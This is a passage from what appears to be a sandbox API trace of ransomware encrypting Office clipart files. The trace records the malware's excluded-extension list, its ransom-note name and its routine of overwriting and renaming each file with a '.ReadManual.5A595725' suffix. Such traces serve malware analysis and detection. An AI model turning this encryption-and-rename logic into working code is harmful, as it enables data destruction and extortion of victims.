lpString1=0x6ab90a, lpString2="J0195428.WMF" | out: lpString1="J0195428.WMF") returned="J0195428.WMF" [0268.110] lstrcmpiW (lpString1="J0195428.WMF", lpString2="RecoveryManual.html") returned -1 [0268.110] StrStrIW (lpFirst="J0195428.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.110] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.110] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.110] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.110] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.110] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.110] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.110] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.110] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.110] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.110] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.110] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.110] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.110] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.110] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.110] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" [0268.111] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.ReadManual.5A595725" [0268.111] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.ReadManual.5A595725") returned 87 [0268.111] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38877935413) returned 1 [0268.111] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf")) returned 0x20 [0268.111] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.111] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18622) returned 1 [0268.111] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x48be, lpName=0x0) returned 0x184 [0268.111] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.112] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.112] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.114] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.114] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x48be) returned 0x2f0000 [0268.114] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.114] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38878282918) returned 1 [0268.114] CloseHandle (hObject=0x184) returned 1 [0268.114] SetSecurityInfo () returned 0x57 [0268.114] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.114] CloseHandle (hObject=0x194) returned 1 [0268.114] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0195772.WMF", cAlternateFileName="")) returned 1 [0268.114] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0195772.WMF" | out: lpString1="J0195772.WMF") returned="J0195772.WMF" [0268.114] lstrcmpiW (lpString1="J0195772.WMF", lpString2="RecoveryManual.html") returned -1 [0268.114] StrStrIW (lpFirst="J0195772.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.115] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.115] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.115] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.115] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.115] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.115] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.115] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.115] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.115] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.115] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.115] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.115] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.115] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.115] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.115] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" [0268.115] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.ReadManual.5A595725" [0268.115] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.ReadManual.5A595725") returned 87 [0268.115] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38878383204) returned 1 [0268.115] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf")) returned 0x20 [0268.116] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.116] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3680) returned 1 [0268.116] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe60, lpName=0x0) returned 0x184 [0268.116] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.117] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.117] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.121] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.121] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe60) returned 0x2f0000 [0268.121] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.121] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38879002011) returned 1 [0268.121] CloseHandle (hObject=0x184) returned 1 [0268.121] SetSecurityInfo () returned 0x57 [0268.121] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.121] CloseHandle (hObject=0x194) returned 1 [0268.122] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbbc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0195788.WMF", cAlternateFileName="")) returned 1 [0268.122] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0195788.WMF" | out: lpString1="J0195788.WMF") returned="J0195788.WMF" [0268.122] lstrcmpiW (lpString1="J0195788.WMF", lpString2="RecoveryManual.html") returned -1 [0268.122] StrStrIW (lpFirst="J0195788.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.122] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.122] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.122] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.122] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.122] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.122] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.122] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.122] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.122] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.122] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.122] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.122] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.122] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.122] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.122] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" [0268.122] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.ReadManual.5A595725" [0268.122] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.ReadManual.5A595725") returned 87 [0268.122] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38879101467) returned 1 [0268.122] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf")) returned 0x20 [0268.123] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.123] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3004) returned 1 [0268.123] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbbc, lpName=0x0) returned 0x184 [0268.123] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.124] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.124] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.126] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.126] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbbc) returned 0x2f0000 [0268.126] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.126] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38879471197) returned 1 [0268.126] CloseHandle (hObject=0x184) returned 1 [0268.126] SetSecurityInfo () returned 0x57 [0268.126] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.126] CloseHandle (hObject=0x194) returned 1 [0268.126] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0196060.WMF", cAlternateFileName="")) returned 1 [0268.126] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0196060.WMF" | out: lpString1="J0196060.WMF") returned="J0196060.WMF" [0268.126] lstrcmpiW (lpString1="J0196060.WMF", lpString2="RecoveryManual.html") returned -1 [0268.126] StrStrIW (lpFirst="J0196060.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.126] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.126] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.126] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.126] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.127] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.127] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.127] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.127] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.127] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.127] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.127] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.127] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.127] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.127] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.127] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" [0268.127] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.ReadManual.5A595725" [0268.127] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.ReadManual.5A595725") returned 87 [0268.127] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38879569821) returned 1 [0268.127] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf")) returned 0x20 [0268.127] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.127] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4750) returned 1 [0268.127] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x128e, lpName=0x0) returned 0x184 [0268.128] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.128] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.128] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.130] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.130] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x128e) returned 0x2f0000 [0268.130] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.130] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38879885929) returned 1 [0268.130] CloseHandle (hObject=0x184) returned 1 [0268.130] SetSecurityInfo () returned 0x57 [0268.130] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.130] CloseHandle (hObject=0x194) returned 1 [0268.130] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14ce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0196110.WMF", cAlternateFileName="")) returned 1 [0268.130] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0196110.WMF" | out: lpString1="J0196110.WMF") returned="J0196110.WMF" [0268.130] lstrcmpiW (lpString1="J0196110.WMF", lpString2="RecoveryManual.html") returned -1 [0268.131] StrStrIW (lpFirst="J0196110.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.131] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.131] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.131] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.131] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.131] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.131] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.131] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.131] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.131] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.131] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.131] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.131] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.131] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.131] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.131] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" [0268.131] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.ReadManual.5A595725" [0268.131] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.ReadManual.5A595725") returned 87 [0268.131] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38879983312) returned 1 [0268.131] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf")) returned 0x20 [0268.132] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.132] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5326) returned 1 [0268.132] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14ce, lpName=0x0) returned 0x184 [0268.132] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.133] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.133] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.169] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.169] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14ce) returned 0x2f0000 [0268.169] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.169] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38883798606) returned 1 [0268.169] CloseHandle (hObject=0x184) returned 1 [0268.169] SetSecurityInfo () returned 0x57 [0268.169] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.169] CloseHandle (hObject=0x194) returned 1 [0268.170] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xef2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0196142.WMF", cAlternateFileName="")) returned 1 [0268.176] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0196142.WMF" | out: lpString1="J0196142.WMF") returned="J0196142.WMF" [0268.176] lstrcmpiW (lpString1="J0196142.WMF", lpString2="RecoveryManual.html") returned -1 [0268.176] StrStrIW (lpFirst="J0196142.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.176] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.177] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.177] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.177] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.177] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.177] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.177] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.177] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.177] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.177] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.177] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.177] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.177] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.177] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.177] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" [0268.177] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.ReadManual.5A595725") 